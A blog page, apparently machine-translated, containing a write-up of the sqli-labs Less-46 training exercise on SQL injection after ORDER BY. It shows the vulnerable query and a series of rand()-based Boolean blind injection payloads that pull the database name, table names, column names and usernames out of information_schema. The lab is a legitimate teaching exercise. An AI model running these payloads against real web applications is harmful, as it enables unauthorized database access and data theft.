当前位置:网站首页>SQL injection Less46 (injection after order by + rand() Boolean blind injection)
SQL injection Less46 (injection after order by + rand() Boolean blind injection)
2022-07-31 02:47:00 【happy star】
$id=$_GET['sort'];$sql = "SELECT * FROM users ORDER BY$id";
Our injection point is in the parameters after order by, and order by is different from our injection point after where, we cannot use union etc. for injection.
Test for injection point
?sort=1 desc
?sort=1 asc
desc means descend means descending order
asc means ascend means ascending order
The returned result is different, indicating that it can be injected.Some parameters after order by can be used for injection
The following part has nothing to do with solving the problem, just look at the part of the Boolean blind note.?sort=right(version(),1)
?sort=left(version(),1)
The returned results are all
I think it may be a character number, so I tried again
I don't know if the type conversion will be done automatically
?sort=5
?sort='5'
So, left(version(),1) should really return a character number
Boolean Blinds
select * from users order by rand();
Randomly sort the users table.
rand() returns a 0-1 floating point number, and order by is followed by the column name or column number.
In fact, it can be understood that a rand field has been added to the users table, and the field value is randomly generated.Sort the users table according to the rand field.So the effect of random sorting is reached.
For more principles, see this
MySQL-17: order by rand()
select * from users order by rand(1);
select * from users order by rand(0);
?sort=rand(1)
?sort=rand(0)
?sot=rand(1=1)
?sort=rand(length(database())=8)
?sort=rand(ascii(substr(database(),1,1))=115)
?sort=rand(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101)
?sort=rand(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i')
?sort=rand(ascii(substr((select username from users limit 0,1), 1,1))=68)
Of course this question can be written with time blind injection and error injection, Less47 will use error injection to write
https://blog.csdn.net/Kevinhanser/article/details/81563461
https://blog.csdn.net/weixin_43901998/article/details/107577630
边栏推荐
- 英特尔软硬优化,赋能东软加速智慧医疗时代到来
- 如何搭建私有yum源
- 【C语言】进制转换一般方法
- BAT卖不动「医疗云」:医院逃离、山头林立、行有行规
- YOLOV5 study notes (3) - detailed explanation of network module
- Project (5) - Small target detection tph-yolov5
- Mathematical Ideas in AI
- 经典链表OJ强训题——快慢双指针高效解法
- Introduction to flask series 】 【 flask - using SQLAlchemy
- JS function this context runtime syntax parentheses array IIFE timer delay self.backup context call apply
猜你喜欢
【C语言】表达式求值的一般方法
221. Largest Square
The comprehensive result of the case statement, do you know it?[Verilog Advanced Tutorial]
coldfusion8 background scheduled tasks take shell
Basic learning about Redis related content
8、统一处理异常(控制器通知@ControllerAdvice全局配置类、@ExceptionHandler统一处理异常)
CorelDRAW2022 streamlined Asia Pacific new features in detail
StringJoiner in detail
Mycat's master-slave relationship, vertical sub-database, horizontal sub-table, and detailed configuration of mycat fragmented table query (mysql5.7 series)
字体压缩神器font-spider的使用
随机推荐
你们程序员为什么不靠自己的项目谋生?而必须为其他人打工?
f.grid_sample
Draw Your Cards
1. Non-type template parameters 2. Specialization of templates 3. Explanation of inheritance
Multilingual settings of php website (IP address distinguishes domestic and foreign)
11、Redis实现关注、取消关注以及关注和粉丝列表
【shell基础】判断目录是否为空
【Bank Series Phase 1】People's Bank of China
【C语言】进制转换一般方法
品牌广告投放平台的中台化应用与实践
YOLOV5学习笔记(二)——环境安装+运行+训练
7、私信列表
coldfusion8 background scheduled tasks take shell
JS 函数 this上下文 运行时点语法 圆括号 数组 IIFE 定时器 延时器 self.备份上下文 call apply
Validate XML documents
Project (5) - Small target detection tph-yolov5
加密公司向盗窃的黑客提供报价:保留一点,把剩下的归还
The final exam first year course
图像处理技术的心酸史
Chapter 9 SVM实践